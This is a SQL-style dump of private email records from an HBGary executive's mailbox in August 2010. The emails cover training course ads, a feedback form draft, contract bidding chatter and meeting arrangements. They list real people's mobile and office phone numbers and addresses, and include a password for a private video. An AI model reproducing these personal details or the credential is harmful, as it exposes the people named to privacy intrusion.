a member.\r\n            All courses will be held in Fairfax, VA unless otherwise noted. \r\n        \r\n        \r\n        ____________________________________________________________________________\r\n        \r\n          For more PDC course information: \r\n          Print or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\n          The PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\nSubscribe to RSS to get updated information about PDC courses automatically downloaded to your computer.\r\n          For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n          For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n              \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n           \r\n\r\n\r\n\r\n\r\n\r\n\r\n          \r\n   This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8304,'aaron_hbgary_com/8304.html'),(9879,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007746.M606724P14101Q4734.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Draft Training Feedback Form','I am going to create the feedback form in the online training environment.  Here is a draft:\r\n\r\nCourse Content:\r\n\r\n1.  The training\r\nmaterials were well organized, and the content was understandable.\r\n\r\n2.  The training\r\nmaterials provided were helpful and relevant to my training.\r\n\r\n3. This training had adequate lab activities to keep\r\nstudents engaged in the materials presented and get hands-on understanding of\r\nthe concepts.\r\n\r\n \r\n\r\nLearning Environment:\r\n\r\n1.  The online\r\nlearning environment was effective and easy to understand.\r\n\r\n2.  The online\r\nlearning environment allowed students and instructor to effectively communicate\r\nand collaborate.\r\n\r\n3.  The online\r\nlearning environment had no technical issues that were a significant\r\ndistraction to the course.\r\n\r\n \r\n\r\nInstructor:\r\n\r\n1.  The\r\ninstructor was well prepared, communicated effectively, and was easy to\r\nunderstand.\r\n\r\n2.  The\r\ninstructor allocated enough time to complete the labs and ask questions.\r\n\r\n3.  The\r\ninstructor showed a willingness and ability to answer questions.\r\n\r\n \r\n\r\nCourse Value:\r\n\r\n1.  This\r\ntraining was helpful for my research/job responsibilities.\r\n\r\n2.  This\r\ntraining will increase my overall use of Social Media technologies.\r\n\r\n3.  This\r\ntraining was high quality, priced right, and was worth the cost.\r\n\r\n \r\n\r\nPossible Answers for above questions:\r\n\r\nStrongly Agree\r\n\r\nAgree\r\n\r\nIndifferent\r\n\r\nDisagree\r\n\r\nStrongly Disagree\r\n\r\n \r\n\r\nStop/Start/Continue:\r\n\r\nPlease provide a brief statement of the things you think we\r\nshould STOP doing, START doing, and CONTINUE doing as part of this course.  \r\n\r\n \r\n\r\nAnswers provided in free-text field. \r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',2214,'aaron_hbgary_com/2214.html'),(9880,'2010-08-06','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007746.M825054P14101Q4735.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nI hope John&#8217;s intel helps. He forgot to mention that TSA\r\nrarely goes with incumbents (but there&#8217;s always a first time&#8230;). I\r\nspoke with Eric this morning as well and he seemed committed in principle. He&#8217;s\r\nleaving for Germany for two weeks so he suggested I meet with Linda Burroughs\r\n(I have a call in to her with no response yet). Buy you are right in that we\r\nneed them for SOC management.\r\n\r\n&nbsp;\r\n\r\nThe focal point for NGC civil is Paul Meany. We know Paul is a\r\nBD guy but he&#8217;s been incredibly helpful in getting the TA through that &#8220;process.&#8221;\r\nBut you are correct in that we need to engage Kennedy and Dallas. Can you help\r\nwith that?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnd finally, if you are not discussing HBGary business with Bill\r\nVarner would you consider taking me along? If that&#8217;s an intrusion just\r\ntell me and I&#8217;ll keep trying to link up with him. I&#8217;m trying to get\r\non Frisbie and Goodrich&#8217;s schedule as well.\r\n\r\n&nbsp;\r\n\r\nThanks again for your help on all of this and we&#8217;ll keep\r\nyou posted as best we can on breaking developments.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\n(240)383-1439\r\n\r\n(703)395-7401 cell &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Fanguy \r\nSent: Friday, August 06, 2010 3:39 PM\r\nTo: Aaron Barr\r\nCc: William Luti\r\nSubject: RE: PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSummary intel on this for your discussions:\r\n\r\n&nbsp;\r\n\r\nKCG definitely is on a team.&nbsp; I met with one of their team\r\nleads who hates them and he mentioned KCG was talking about their team\r\nconceptually.\r\n\r\n&nbsp;\r\n\r\nTSA picked off most of the leads and flipped them in the last 45\r\ndays, prior to this contract letting.&nbsp; While that level of poaching is not\r\nuncommon at TSA, the timing of the RFP release is uncanny.\r\n\r\n&nbsp;\r\n\r\nIt&#8217;s been run as a body-shop contract all along, and\r\ntransition isn&#8217;t even mentioned &#8211; which is definitely\r\nunusual.&nbsp; Clearly, the gov&#8217;t doesn&#8217;t think there&#8217;s a\r\nneed for transition.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 06, 2010 3:34 PM\r\nTo: John Fanguy\r\nCc: William Luti\r\nSubject: Re: PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTalked with Mantech Eric Eiffert today, had a few other\r\nthings to discuss, but talked about TSA. &nbsp;One thing they want to do before\r\nthey make a decision is to try and get some Intel on what KCG is doing.\r\n&nbsp;They understand that KCG will no longer be considered a small business\r\nbut are unsure what the means, who are they going to find to put in front of\r\nthem, etc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a few meetings with Mantech folks next week,\r\nincluding Bill Varner, and will keep on them.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWho is engaging from the NGC Civil Side? &nbsp;I would\r\nrecommend we try and get to Chris Kennedy if you can. &nbsp;He runs one of the\r\ncivil SOCs (can\'t remember which one). &nbsp;He is very sharp and forward\r\nthinking. &nbsp;Also DIX Dallas, very sharp and very connected into DHS at the\r\ntop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 3:24 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2595,'aaron_hbgary_com/2595.html'),(9881,'2010-08-06','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007747.M205087P14101Q4736.eml','aaron@hbgary.com','Communication and Networking Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	  \r\n	    340 Automated High Frequency Radio; Aug 31 - Sept 2\r\n	    360 Implementing IPv6; Sept 21-24\r\n          350 Wireless Systems and Networks; Nov 30 - Dec 2\r\n          The following courses will be at:&nbsp; WEST-2011, San Diego, CA\r\n          310 Principles of Communications and Networking; Jan 24 - 28, 2011  \r\n          302-11-SDCA-1 Military Satellite Communications in Net-Centric Environment; Jan 25 - 27, 2011 -  Unclassified\r\n          302-11-SDCA-2 Military Satellite Communications in Net-Centric Environment; Jan 28, 2011-\r\n          A secret clearance is required to attend this course. \r\n          320&nbsp;The Reality of Radio Communications on the Ground Battlefield; Jan 26, 2011\r\n          *******************************************************************************************************************\r\n          For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n          340 Automated High Frequency Radio; Aug 31 - Sept 2\r\n         The objective of this course is to help military officers, government personnel, and industry managers understand the opportunities and challenges presented by HF radio communications and the capability of HF radio technology to provide reliable, economical, long-range communications. \r\n360 Implementing IPv6; Sept 21-24\r\nThis course will meet the basic IPv6 needs of network and system architects, engineers, support personnel, and\r\n  anyone with an interest in the next generation Internet protocol. Attendees should have a general understanding of\r\n  networking concepts, network, infrastructure components, and IPv4.\r\n350 Wireless Systems and Networks; Nov 30 - Dec 2\r\nJoin us to sharpen your skills and knowledge\r\n  of wireless and RF technologies and coding processes. Allow us to &ldquo;demystify&rdquo; some of the myths and realities\r\n  of emerging wireless communication systems.&nbsp; Examine with us the results of industrial and DoD trials of next generation\r\n  broadband highly mobile terrestrial and airborne meshed ad hoc and IP-centric networks.\r\n310 Principles of Communications and Networking; Jan 24 - 28, 2011- WEST-2011&nbsp; \r\n          This course provides an overview of communications and networking theory, using operational and developmental military communications systems to illustrate key principles.  The objective is to provide a mixed technical and nontechnical audience with a conceptually rigorous technical foundation. \r\n          302-11-SDCA-1  Military Satellite Communications in Net-Centric Environment; Jan 25 - 27, 2011-  WEST-2011 -&nbsp;Unclassified.&nbsp;\r\nThis course is designed for military communications systems planners, engineers, managers, operators, system analysts, and decision makers who need a thorough understanding of military satellite communications systems design.&nbsp; A general background in communications is recommended.\r\n302-11-SDCA-2  Military SATCOM in a Net-Centric Environment; Jan 28, 2011-&nbsp;WEST-2011 - \r\nA secret clearance is required to attend this course.&nbsp; \r\nThis is the classified portion of the MILSATCOM course and will be taught in a secure location near the Convention Center. You must take 302-BZ-1 as a prerequisite to this class. \r\n320&nbsp;The Reality of Radio Communications on the Ground Battlefield; Jan 26, 2011 - WEST-2011\r\nIn this course the instructor will cover the basic concepts of radio communications as used by the ground warrior, introduce practical information about radio communications on the modern battlefield and explain and demonstrate state-of-the-art equipment. \r\nOther Courses offered in September 2010:\r\n           203 The U.S. Intelligence Community: Who Does What, With What, For What?\r\nSept 13-15.&nbsp; A secret clearance is required to attend this course.&nbsp;\r\n 755 TEMPEST Professionals Certification Course; Sept 21 - 24. &nbsp; A secret clearance is required to attend this course.&nbsp;\r\n           907  The Ultimate Government Market Research Workshop; Sept 28\r\n           906 The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting; Sept 29-30\r\n          \r\n            For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n            All courses will be held in Fairfax, VA unless otherwise noted. \r\n        \r\n        \r\n        ____________________________________________________________________________\r\n        \r\n          For more PDC course information: \r\n          Print or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\n          The PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\nSubscribe to RSS to get updated information about PDC courses automatically downloaded to your computer.\r\n          For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n          For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n              \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n           \r\n\r\n\r\n\r\n\r\n\r\n\r\n          \r\n   This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12956,'aaron_hbgary_com/12956.html'),(9882,'2010-08-06','ted@hbgary.com','/aaron@hbgary.com/new/1297007747.M524921P14101Q4737.eml','aaron@hbgary.com','Social Media Training','\r\n\r\nI\'ve shared Social Media Training\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nSocial Media Training\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',8753,'aaron_hbgary_com/8753.html'),(9883,'2010-08-06','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007747.M743721P14101Q4738.eml','\"Aaron Barr\" <aaron@hbgary.com>','very pleased with meeting today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks for a great phone meeting today. I am excited about\r\nthis possibility. Skirting roadblocks is my specialty J as David may have shared&#8230; This is GREAT for Fidelis\r\nand I intend to push it every way I can.\r\n\r\n&nbsp;\r\n\r\nWhich includes the way I innocently forwarded the webinar\r\ninvite I got to Damballa plus Lancope cyber solution, &#8220;wondering&#8221;\r\nif Gene and Kurt would be interested&#8230;.heh heh\r\n\r\n&nbsp;\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15526,'aaron_hbgary_com/15526.html'),(9884,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007747.M992506P14101Q4739.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','SM Training','I shared a folder with you that has all of the SM files I&#39;m working on.I just finished a document that outlines my ideas for labs / module tests.Please take a look and comment / revise / tell me what you think.\r\nThanks!Ted\r\n\r\n',11737,'aaron_hbgary_com/11737.html'),(9885,'2010-08-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007748.M218646P14101Q4740.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: URGENT:  Update','\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com] \r\nSent: Friday, August 06, 2010 2:02 PM\r\nTo: Penny Leavy-Hoglund; Ray Owen\r\nSubject: URGENT: Update\r\n\r\nHey Penny\r\n\r\nNice to see you last week in Vegas.  Hope the show is turning into lots \r\nof business for you guys.  I have some good news!  I wanted to give you \r\na quick update on Farallon and the CID-1 that we are working together \r\nwith HBGary.  This morning we got a call from the customer that we need \r\nto have task statements for the entirety of CID-1 into them by Monday.  \r\nNow unfortunately the work I need help with, we will be sending you \r\ninformation regarding the scope and rough quarter by quarter  breakdown \r\nof the work(and funding) we hope to accomplish through CID-1 and the \r\ntasks requested of HBGary.  I am very sorry to pop this onto you, we \r\ndidn\'t expect this, although we are happy that the funding for the \r\nproject came through.  We will likely have some ability to adjust a bit \r\ncome next week, but probably need you to formally commit this weekend so \r\nwe can turn it into the government by monday.\r\n\r\nWe are including a few clauses into the contract to give us some \r\nrecourse.  We are including a payment schedule reopening clause to allow \r\nus to change the payments due to Farallon and HBGary once we get started \r\nand have a better idea of the underlying tasks.\r\n\r\n\r\nGive me a call if you would like to discuss.  We will send you some more \r\ndetails of the tasks as well as the expected funding by quarter soon.\r\n\r\nThanks!\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n',9257,'aaron_hbgary_com/9257.html'),(9886,'2010-08-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007748.M422882P14101Q4741.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: video of my cyber-terrorist attack presentation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, August 06, 2010 1:05 PM\r\nTo: penny@hbgary.com\r\nSubject: Fwd: video of my cyber-terrorist attack presentation\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is the video.&nbsp; Password is \'hospitalworm\'.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: Wed, Aug 4, 2010 at 5:06 PM\r\nSubject: video of my cyber-terrorist attack presentation\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;,\r\nRich Cummings &lt;rich@hbgary.com&gt;,\r\nKaren Burke &lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\nI have uploaded a video of my practice run on the\r\ntalk.&nbsp; It\'s not linked anywhere, but you can review it if you want to at:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.hbgary.com/?p=3566&amp;preview=true\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think that will work...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf it asks you for&nbsp;a password, it\'s \'hospitalworm\'\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8503,'aaron_hbgary_com/8503.html'),(9887,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007748.M725686P14101Q4742.eml','nathan.atherley@farallon-research.com,nathan.atherley@farallon-research.com,,,','Re: FW: URGENT: Update','Hello Nathan,Penny called and forwarded me your request.  Aaron, Mark and I will be available this weekend to help with anything you need.  Greg will be available as required. Please cc me on correspondence so we can respond quickly to your requests.\r\nMy contact information is below if you need an immediate response on anything please feel free to call.Regards,Ted-- Ted Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\nOn Fri, Aug 6, 2010 at 4:32 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\nSent: Friday, August 06, 2010 2:02 PM\r\nTo: Penny Leavy-Hoglund; Ray Owen\r\nSubject: URGENT: Update\r\n\r\nHey Penny\r\n\r\nNice to see you last week in Vegas.  Hope the show is turning into lots\r\nof business for you guys.  I have some good news!  I wanted to give you\r\na quick update on Farallon and the CID-1 that we are working together\r\nwith HBGary.  This morning we got a call from the customer that we need\r\nto have task statements for the entirety of CID-1 into them by Monday.\r\nNow unfortunately the work I need help with, we will be sending you\r\ninformation regarding the scope and rough quarter by quarter  breakdown\r\nof the work(and funding) we hope to accomplish through CID-1 and the\r\ntasks requested of HBGary.  I am very sorry to pop this onto you, we\r\ndidn&#39;t expect this, although we are happy that the funding for the\r\nproject came through.  We will likely have some ability to adjust a bit\r\ncome next week, but probably need you to formally commit this weekend so\r\nwe can turn it into the government by monday.\r\n\r\nWe are including a few clauses into the contract to give us some\r\nrecourse.  We are including a payment schedule reopening clause to allow\r\nus to change the payments due to Farallon and HBGary once we get started\r\nand have a better idea of the underlying tasks.\r\n\r\n\r\nGive me a call if you would like to discuss.  We will send you some more\r\ndetails of the tasks as well as the expected funding by quarter soon.\r\n\r\nThanks!\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1094,'aaron_hbgary_com/1094.html'),(9888,'2010-08-07','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007748.M955184P14101Q4743.eml','\"Alan Mitchell\" <amitch@us.ibm.com>,\"Alan Mitchell\" <amitch@us.ibm.com>,','Re: Linda\'s availability to meet at GFIRST','Hi Alan\r\n \r\nGreat to hear.  Why don&#39;t we plan on dinner Wednesday?\r\n \r\nLet me know the best time for you and Linda...\r\n \r\nMaria\r\nOn Fri, Aug 6, 2010 at 7:20 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote:\r\n\r\n\r\nAaron/Maria: See Linda&#39;s availability below. Please feel free to reach out to Linda to coordinate meeting up at GFIRST. Thanks-AlanAlan, I have myself getting down to TX by lunchtime on Wednesday. If we want to organize a meeting with HBGary, we could do on Wednesday afternoon or dinner on Wednesday (if that will work) ok?? \r\nThanks,LindaLinda N. Betz PMP, CIPP, CISMDirector IT Policy and Information Security (CISO) - CIO Officeemail : lnbetz@us.ibm.comPhone : 914-766-3860 Tie-Line 826-3860\r\nAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16615,'aaron_hbgary_com/16615.html'),(9889,'2010-08-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007753.M288827P14101Q4744.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Linda\'s availability to meet at GFIRST','Sent from my iPhoneBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: August 6, 2010 8:55:50 PM EDTTo: Alan Mitchell &lt;amitch@us.ibm.com&gt;Cc: Aaron Barr &lt;aaron@hbgary.com&gt;, Linda Betz &lt;lnbetz@us.ibm.com&gt;Subject: Re: Linda\'s availability to meet at GFIRSTHi Alan\r\n&nbsp;\r\nGreat to hear.&nbsp; Why don\'t we plan on dinner Wednesday?\r\n&nbsp;\r\nLet me know the best time for you and Linda...\r\n&nbsp;\r\nMaria\r\nOn Fri, Aug 6, 2010 at 7:20 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote:\r\n\r\n\r\nAaron/Maria: See Linda\'s availability below. Please feel free to reach out to Linda to coordinate meeting up at GFIRST. Thanks-AlanAlan, I have myself getting down to TX by lunchtime on Wednesday. If we want to organize a meeting with HBGary, we could do on Wednesday afternoon or dinner on Wednesday (if that will work) ok?? \r\nThanks,LindaLinda N. Betz PMP, CIPP, CISMDirector IT Policy and Information Security (CISO) - CIO Officeemail : lnbetz@us.ibm.comPhone : 914-766-3860 Tie-Line 826-3860\r\nAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244\"By all means let\'s be open-minded, but not so open-minded that our brains drop out\" -Richard Dawkins\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',14907,'aaron_hbgary_com/14907.html'),(9890,'2010-08-07','\"Ray Owen\" <ray.owen@farallon-research.com>','/aaron@hbgary.com/new/1297007757.M342789P14101Q4746.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,mark@hbgary.com,greg@HBGary.com','Re: Fwd: Re: FW: URGENT: Update','\r\n\r\n\r\n  \r\n\r\n\r\nBTW, 4Q10 should be $88K plus the $80K for a total of $168K.\r\n\r\nRay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  